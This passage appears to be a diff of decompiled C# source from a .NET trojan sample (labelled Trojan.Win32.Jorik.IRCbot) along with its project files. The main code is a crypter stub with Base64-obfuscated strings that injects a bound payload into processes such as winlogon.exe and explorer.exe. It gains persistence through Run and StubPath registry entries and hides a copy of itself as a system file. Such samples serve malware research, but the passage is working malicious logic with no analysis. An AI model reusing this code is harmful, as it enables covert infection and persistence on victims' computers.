Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgaW50byBtZW1vcnk6IA==") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
}
}
else if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgaW5qZWN0aW5nIGJvdW5kIGZpbGUgdXNpbmcgcmVmbGVjdGlvbjog"));
}
else
{
string t2qn4ig5r5fe30uf0gvlqyjei = str2 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + str1;
if (boolean2)
numArray = this.v32245b3t5yoxhkmr(numArray);
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, t2qn4ig5r5fe30uf0gvlqyjei, true);
}
}
}
private void D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
string[] separator1 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("c2l1cGlpbnkybnNvam1pZDMyenZ4MmxmaQ==")
};
string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
string[] separator2 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WGtmb2pic20zZ2hpMXN5d2s=")
};
string[] strArray2 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator2, StringSplitOptions.None);
string[] separator3 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("S2RjcXYxdGFzYWNlc2dtYWQ=")
};
string[] strArray3 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator3, StringSplitOptions.None);
string[] separator4 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cmFxY3Z5ZHdvaXdsMnNjYWdhZHkzcXlzMw==")
};
string[] strArray4 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator4, StringSplitOptions.None);
this.e34zsbjraxk1vdes3 = strArray1[1];
this.u4v4gxw4pe5ajw5qf = strArray1[2];
this.iwz5fw0hekr40lgappdcrryyd = strArray1[3];
this.hrkxt4xigw3kvxizwl4brrwla = Convert.ToInt32(strArray1[4]);
this.n5qobr0qrnlc4of4pagdiixxz = Convert.ToInt32(strArray1[5]);
this.J3xftqrouedhph3wmrpbf1oncu42zzn0q = Convert.ToInt32(strArray1[6]);
this.Tz3uteor55zvvw3ge = strArray2[1];
this.d3bf3wz4sc5v4l1uxukyagpdo = strArray2[2];
this.zb4vgai4ozfhekokbemj5ilfi = strArray2[3];
this.Iu4x22rom4nkydifhzb3yhmni = Convert.ToInt32(strArray3[1]);
this.Vwyl4tfmmp0qtt2nzytwwg42o = strArray3[2];
this.Oldfdql3j3j1vq1vwhzdsoqcw = strArray3[3];
this.Tw5ntsv2eana2pzqe5lqgyv32 = strArray3[4];
this.Limyy2yppvdupsbadnk4q0zoc = strArray3[5];
this.h1a0fvzdaev3vkr0g2mjmagor = strArray3[6];
this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = strArray3[7];
this.sxuhsyfp5i3o1u3c2o1ba5lzc = strArray3[8];
this.jc3ddo0jvj2a1qr4qhjkghawn = strArray3[9];
this.Orshwt0dzuhwbrysau452pffe = strArray3[10];
this.mmcqn3cexlxqet2md = strArray3[11];
this.gzrw4q4ropicnlotflrdgqtsb = this.z4oikbmtsyvcgjshpb1o3xomb(strArray3[12]);
this.Nwtaknwtei4heb3ubqf0fbjn2 = strArray3[13];
this.Opdgky2ixzsslsa5xgb5j5vjn = strArray3[14];
this.oeygnuctraxnjd2t2xylgcgwt = strArray3[15];
this.Vxbwuasb5cbqu0zvpzvozkfbp = Convert.ToBoolean(strArray3[16]);
this.Nmtcod3bgkn4wfqbn0clozxtd = Convert.ToBoolean(strArray3[17]);
this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(strArray3[18]) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + Path.GetRandomFileName();
this.qa422swa2bykxxdf3 = strArray3[19];
this.hv0yanbzazy5y5puhm1rq4npy = strArray3[20];
this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh = this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Substring(0, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh.Length - 4) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("LmV4ZQ==");
string str = Environment.SystemDirectory + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XA==");
switch (this.hv0yanbzazy5y5puhm1rq4npy)
{
case "0":
try
{
this.hv0yanbzazy5y5puhm1rq4npy = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrNjRcdjIuMC41MDcyN1x2YmMuZXhl") : Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XE1pY3Jvc29mdC5ORVRcRnJhbWV3b3JrXHYyLjAuNTA3MjdcdmJjLmV4ZQ==");
break;
}
catch (Exception ex)
{
break;
}
case "1":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2lubG9nb24uZXhl");
break;
case "2":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("dGFza21nci5leGU=");
break;
case "3":
this.hv0yanbzazy5y5puhm1rq4npy = str + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bm90ZXBhZC5leGU=");
break;
case "4":
this.hv0yanbzazy5y5puhm1rq4npy = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("d2luZGly")) + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XGV4cGxvcmVyLmV4ZQ==");
break;
}
this.qjgvtp5dxw2xd3cymnnrrpi4q = Convert.ToBoolean(strArray4[1]);
this.rsqyen5noyknnubtxp5d4c1pi = strArray4[2];
this.Zdcbw51ginpihrigchxl3wtzl = strArray4[3];
this.Ylohjohjs0shtk55s = strArray4[4];
this.u14rni0civn2slvafa2qidu1h = strArray4[5];
this.Df255bnxscmlyi5ujr2shnrkj = Convert.ToBoolean(strArray4[6]);
this.Tn53mqe3sgob3hnec = Convert.ToBoolean(strArray4[7]);
this.c2sqrdsprj3s5tzrfydeh542igsij0hy3 = Convert.ToBoolean(strArray4[8]);
this.Fdnm3i3qwt5xg2kgs51j1ra03 = Convert.ToBoolean(strArray4[9]);
MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
{
MessageBoxButtons.OK,
MessageBoxButtons.OKCancel,
MessageBoxButtons.YesNo,
MessageBoxButtons.YesNoCancel,
MessageBoxButtons.RetryCancel,
MessageBoxButtons.AbortRetryIgnore
};
MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
{
MessageBoxIcon.Hand,
MessageBoxIcon.Asterisk,
MessageBoxIcon.Question,
MessageBoxIcon.Exclamation,
MessageBoxIcon.None
};
if (!(this.e34zsbjraxk1vdes3 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
return;
Thread.Sleep(this.J3xftqrouedhph3wmrpbf1oncu42zzn0q * 1000);
int num = (int) MessageBox.Show(this.u4v4gxw4pe5ajw5qf, this.iwz5fw0hekr40lgappdcrryyd, messageBoxButtonsArray[this.hrkxt4xigw3kvxizwl4brrwla], messageBoxIconArray[this.n5qobr0qrnlc4of4pagdiixxz]);
}
public void Detxmohej30sq5rdtby5aviwjiokh2gif()
{
string executablePath = Application.ExecutablePath;
try
{
this.D5kti1q5aj1eo2g3jv1drtoo5ekv545xi(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 28, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UDNYQk5XVURZMllWRk1FRzA="))));
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.rmq04qrgvymsnxnzaauclonz4(executablePath, 53, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SzBUWUNNUENCRDNMM1RMQ1E1S0VXWDRBUg=="));
if (this.Vwyl4tfmmp0qtt2nzytwwg42o == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.P5v4rqorj401x53a1(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Iu4x22rom4nkydifhzb3yhmni);
this.Ab4hjwwzqrhaf3v15vpkkpwph = this.v32245b3t5yoxhkmr(this.Ab4hjwwzqrhaf3v15vpkkpwph);
if (!this.Vxbwuasb5cbqu0zvpzvozkfbp)
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
else
this.jeaq3uqx2h3t0mra1g4rmu1sp(this.Ab4hjwwzqrhaf3v15vpkkpwph);
if (this.Nmtcod3bgkn4wfqbn0clozxtd)
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(this.Ab4hjwwzqrhaf3v15vpkkpwph, this.Up0yuwtuyztffttj5yifu2dxpvjgi4unh, true);
if (this.Oldfdql3j3j1vq1vwhzdsoqcw == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.sxuhsyfp5i3o1u3c2o1ba5lzc, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 1);
if (this.Tw5ntsv2eana2pzqe5lqgyv32 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.h1a0fvzdaev3vkr0g2mjmagor, this.jc3ddo0jvj2a1qr4qhjkghawn, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 2);
if (this.Limyy2yppvdupsbadnk4q0zoc == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
this.Zvyyb03fyylfr3leq2ogwlkzx(this.hstr1brtw1h4eqytb3mb2n03yp4cjzf3z, this.Orshwt0dzuhwbrysau452pffe, this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md, 3);
string path;
if (!string.IsNullOrEmpty(this.qa422swa2bykxxdf3))
{
path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3 + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
Directory.CreateDirectory(this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.qa422swa2bykxxdf3);
}
else
path = this.gzrw4q4ropicnlotflrdgqtsb + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.mmcqn3cexlxqet2md;
if (this.lhavasqwmjebhnrkb)
{
byte[] bytes = System.IO.File.ReadAllBytes(Application.ExecutablePath);
if (!System.IO.File.Exists(path))
System.IO.File.WriteAllBytes(path, bytes);
if (System.IO.File.Exists(path))
{
if (this.Nwtaknwtei4heb3ubqf0fbjn2 == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.Hidden);
if (this.Opdgky2ixzsslsa5xgb5j5vjn == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.ReadOnly);
if (this.oeygnuctraxnjd2t2xylgcgwt == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
System.IO.File.SetAttributes(path, System.IO.File.GetAttributes(path) | FileAttributes.System);
}
}
this.yi4a12p1lqcxa2d2ckkuwmx2y(xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(this.rmq04qrgvymsnxnzaauclonz4(executablePath, 98, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("SjJNVTRWTVhWUkpJS1ZPVFlaMTQ1VU5TWkQxS0NCT1ZJ"))));
if (!this.qjgvtp5dxw2xd3cymnnrrpi4q)
return;
this.ad1vi241wyo23agtvnemgivkyuh243nog();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private void Zvyyb03fyylfr3leq2ogwlkzx(
string Yq3ydwexug20uthmz2ubur2jepv13qpwg,
string rxcxnisdudntk1fjudcmbtlm5,
string Ulb5u4r5ba0bnzcq1,
int Y534kkkdcdljareknie3ppsg1)
{
this.lhavasqwmjebhnrkb = true;
if (Y534kkkdcdljareknie3ppsg1 == 1)
Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
if (Y534kkkdcdljareknie3ppsg1 == 2)
Registry.LocalMachine.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
if (Y534kkkdcdljareknie3ppsg1 != 3)
return;
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5);
subKey.SetValue(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("U3R1YlBhdGg="), (object) Ulb5u4r5ba0bnzcq1);
subKey.Close();
if (Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, true) == null)
return;
Registry.CurrentUser.DeleteSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, false);
}
private static void Main(string[] args) => new P3gp3nhhay2byunb2ryhhvgoe().Detxmohej30sq5rdtby5aviwjiokh2gif();
}
}

View File

@ -1,15 +0,0 @@
using SmartAssembly.Attributes;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
[assembly: AssemblyCompany("-")]
[assembly: PoweredBy("Powered by {smartassembly}")]
[assembly: Guid("54a42427-8068-4f12-aaa5-9471c17ad0fa")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyProduct("-")]
[assembly: SuppressIldasm]
[assembly: AssemblyTitle("-")]
[assembly: AssemblyDescription("-")]
[assembly: AssemblyCopyright("Copyright © 2011")]
[assembly: AssemblyVersion("1.0.0.0")]

View File

@ -1,36 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Refx.My.MySettings
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace Refx.My
{
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings \u0001 = (MySettings) \u009C.\u0096\u0004((SettingsBase) new MySettings());
[DebuggerNonUserCode]
public MySettings()
{
}
public static MySettings Default
{
get
{
MySettings mySettings = MySettings.\u0001;
return mySettings;
}
}
}
}

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Refx.My.Token20000AA
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace Refx.My
{
internal class Token20000AA : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,120 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>

View File

@ -1,17 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.PoweredByAttribute
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
using System;
namespace SmartAssembly.Attributes
{
public sealed class PoweredByAttribute : Attribute
{
public PoweredByAttribute(string s)
{
}
}
}

View File

@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: SmartAssembly.Attributes.Token20000A7
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0A6501CE-651B-49EF-9CD4-6837233ABDB4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe
namespace SmartAssembly.Attributes
{
internal class Token20000A7 : \u0024Unresolved\u0024Token\u003A2003FFF
{
}
}

View File

@ -1,196 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Jorik.IRCbot.div-738c3979666da85c3c9872a05697e6bff01b107645b92c3a808be0f2a7bf41a4.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1B09DA76-CDE1-4A04-8F4A-E862BA76E498}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Refx</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Management" />
</ItemGroup>
<ItemGroup>
<Compile Include="_0091.cs" />
<Compile Include="_0092.cs" />
<Compile Include="_0093.cs" />
<Compile Include="_0094.cs" />
<Compile Include="_0095.cs" />
<Compile Include="_0096.cs" />
<Compile Include="_0097.cs" />
<Compile Include="_0098.cs" />
<Compile Include="_0099.cs" />
<Compile Include="_009A.cs" />
<Compile Include="_009B.cs" />
<Compile Include="_009C.cs" />
<Compile Include="_009D.cs" />
<Compile Include="_009E.cs" />
<Compile Include="_009F.cs" />
<Compile Include="_0001_0002.cs" />
<Compile Include="_0002_0002.cs" />
<Compile Include="_0003_0002.cs" />
<Compile Include="_0004_0002.cs" />
<Compile Include="_0005_0002.cs" />
<Compile Include="_0006_0002.cs" />
<Compile Include="_0007_0002.cs" />
<Compile Include="_0008_0002.cs" />
<Compile Include="_000E_0002.cs" />
<Compile Include="_000F_0002.cs" />
<Compile Include="_0010_0002.cs" />
<Compile Include="_0011_0002.cs" />
<Compile Include="_0012_0002.cs" />
<Compile Include="_0013_0002.cs" />
<Compile Include="_0014_0002.cs" />
<Compile Include="_0015_0002.cs" />
<Compile Include="_0016_0002.cs" />
<Compile Include="_0017_0002.cs" />
<Compile Include="_0018_0002.cs" />
<Compile Include="_0019_0002.cs" />
<Compile Include="_001A_0002.cs" />
<Compile Include="_001B_0002.cs" />
<Compile Include="_001C_0002.cs" />
<Compile Include="_001D_0002.cs" />
<Compile Include="_001E_0002.cs" />
<Compile Include="_001F_0002.cs" />
<Compile Include="_007F_0002.cs" />
<Compile Include="_0080_0002.cs" />
<Compile Include="_0081_0002.cs" />
<Compile Include="_0082_0002.cs" />
<Compile Include="_0083_0002.cs" />
<Compile Include="_0084_0002.cs" />
<Compile Include="_0086_0002.cs" />
<Compile Include="_0087_0002.cs" />
<Compile Include="_0088_0002.cs" />
<Compile Include="_0089_0002.cs" />
<Compile Include="_008A_0002.cs" />
<Compile Include="_008B_0002.cs" />
<Compile Include="_008C_0002.cs" />
<Compile Include="_008D_0002.cs" />
<Compile Include="_008E_0002.cs" />
<Compile Include="_008F_0002.cs" />
<Compile Include="_0090_0002.cs" />
<Compile Include="_0091_0002.cs" />
<Compile Include="_0092_0002.cs" />
<Compile Include="_0093_0002.cs" />
<Compile Include="_0094_0002.cs" />
<Compile Include="_0095_0002.cs" />
<Compile Include="_0096_0002.cs" />
<Compile Include="_0097_0002.cs" />
<Compile Include="_0098_0002.cs" />
<Compile Include="_0099_0002.cs" />
<Compile Include="_009A_0002.cs" />
<Compile Include="_009B_0002.cs" />
<Compile Include="_009C_0002.cs" />
<Compile Include="_009D_0002.cs" />
<Compile Include="_009E_0002.cs" />
<Compile Include="_009F_0002.cs" />
<Compile Include="_0001_0003.cs" />
<Compile Include="_0002_0003.cs" />
<Compile Include="_0003_0003.cs" />
<Compile Include="_0004_0003.cs" />
<Compile Include="_0005_0003.cs" />
<Compile Include="_0006_0003.cs" />
<Compile Include="_0007_0003.cs" />
<Compile Include="_0008_0003.cs" />
<Compile Include="_000E_0003.cs" />
<Compile Include="_000F_0003.cs" />
<Compile Include="_0010_0003.cs" />
<Compile Include="_0011_0003.cs" />
<Compile Include="_0012_0003.cs" />
<Compile Include="_0013_0003.cs" />
<Compile Include="_0014_0003.cs" />
<Compile Include="_0015_0003.cs" />
<Compile Include="_0016_0003.cs" />
<Compile Include="_0017_0003.cs" />
<Compile Include="_0018_0003.cs" />
<Compile Include="_0019_0003.cs" />
<Compile Include="_001A_0003.cs" />
<Compile Include="_001B_0003.cs" />
<Compile Include="_001C_0003.cs" />
<Compile Include="_001D_0003.cs" />
<Compile Include="_001E_0003.cs" />
<Compile Include="_001F_0003.cs" />
<Compile Include="_007F_0003.cs" />
<Compile Include="_0080_0003.cs" />
<Compile Include="_0081_0003.cs" />
<Compile Include="_0082_0003.cs" />
<Compile Include="_0083_0003.cs" />
<Compile Include="_0084_0003.cs" />
<Compile Include="_0086_0003.cs" />
<Compile Include="_0087_0003.cs" />
<Compile Include="_0088_0003.cs" />
<Compile Include="_0089_0003.cs" />
<Compile Include="_008A_0003.cs" />
<Compile Include="_008B_0003.cs" />
<Compile Include="_008C_0003.cs" />
<Compile Include="_008D_0003.cs" />
